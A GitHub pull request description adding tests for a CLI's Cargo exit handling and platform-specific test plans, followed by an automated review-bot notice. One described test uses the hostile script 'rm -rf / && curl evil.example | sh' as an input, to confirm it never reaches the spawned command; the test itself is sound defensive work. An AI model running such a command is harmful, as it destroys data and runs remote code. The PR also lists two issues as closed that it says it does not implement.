[nafiuishaaq]

Summary

Two gaps in stellarforge test's coverage — one of them a whole execution path
that was never exercised.

SW-068 (#168) — Cargo exit propagation was never tested

Every existing failing-exit case builds its plan with command: 'npm', args: ['run', 'test']:

// test-command.test.ts:73 and test-orchestration-regression.test.ts:168
{ label: 'demo:test', command: 'npm', args: ['run', 'test'], cwd: '/workspace' }

So the Cargo branch of the non-zero path had no coverage at all. A regression
that collapsed a cargo test failure into a clean run would have passed the suite
green. Covered here:

• a zero Cargo exit resolves cleanly and kills nothing;
• non-zero exits — 1 (harness assertion failure), 101 (panic), 127 (not
  executable) — each surface as SubprocessCliError carrying the label and the
  exit code, rather than being swallowed;
• Cargo is invoked with an argument array, never a joined shell string.

SW-070 (#170) — the platform-correct resolved plan was never asserted

npm.ts branches on process.platform, but resolveTestProcessPlan is what feeds
those values into a spawn, and no test checked the resolved plan on either
platform. Covered:

• cmd.exe with /d /s /c leading, npm run test trailing, on win32;
• bare npm run test on POSIX;
• the cargo / cargo.exe split per platform;
• a destructive package.json test script
  (rm -rf / && curl evil.example | sh) is forwarded as a script name via
  npm run test and never appears in the command or argv;
• an unsupported project throws before anything is spawned.

Issue references

Closes #168

Closes #170

Closes #171

Closes #172

What this PR actually changes

Implemented in full — #168 and #170.

Not implemented here, and why:

• SW-071 — Add test project-marker ambiguity rejection #171 (SW-071) asks that "ambiguous Node/Cargo project markers do not silently
  select a test workflow". The current behaviour is the opposite, and it is
  deliberate and already tested — resolveTestProcessPlan returns the Node plan
  when both package.json and Cargo.toml are present, and
  test-orchestration-regression.test.ts:88 locks that in as "prefers the Node.js
  workflow when both project forms are present". Making it fail would be a
  behaviour change requiring a decision on the product side, not a test to add.
  I have not touched it.
• SW-072 — Integrate generated Basic App with stellarforge test #172 (SW-072) requires generating a Basic App through the production
  generator and running stellarforge test inside it. That fixture needs
  node_modules installed in the generated project to have any npm test to run,
  which I was asked not to do. The exit-code and plan-resolution behaviour it would
  exercise is what this PR covers directly, without the fixture cost.

Note

withTempDirectory comes from tests/helpers/, matching the existing convention
in test-project.test.ts, so these fixtures are cleaned up on both success and
failure paths.

Not run

node_modules was not installed and the suite was not executed, per your
constraint. The platform cases stub process.platform via
Object.defineProperty and restore it in afterEach, the same approach as
generator-reserved-names.test.ts. Worth one local run to confirm the
cmd.exe branch assertions resolve as expected.

[coderabbitai]

Important

• 🔍 Trigger review

This repository does not receive automatic reviews because it has fewer than 10 stars.

⚙️ Run configuration

• Configuration used: defaults
• Review profile: CHILL
• Plan: Advanced
• Run ID: 59921cd5-d54f-4bcc-8d9c-8a19629d8acf

• Autofix · Keep fixing CodeRabbit findings and required CI, and resolving merge conflicts

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

• X
• Mastodon
• Reddit
• LinkedIn

_{Comment @coderabbitai help to get the list of available commands.}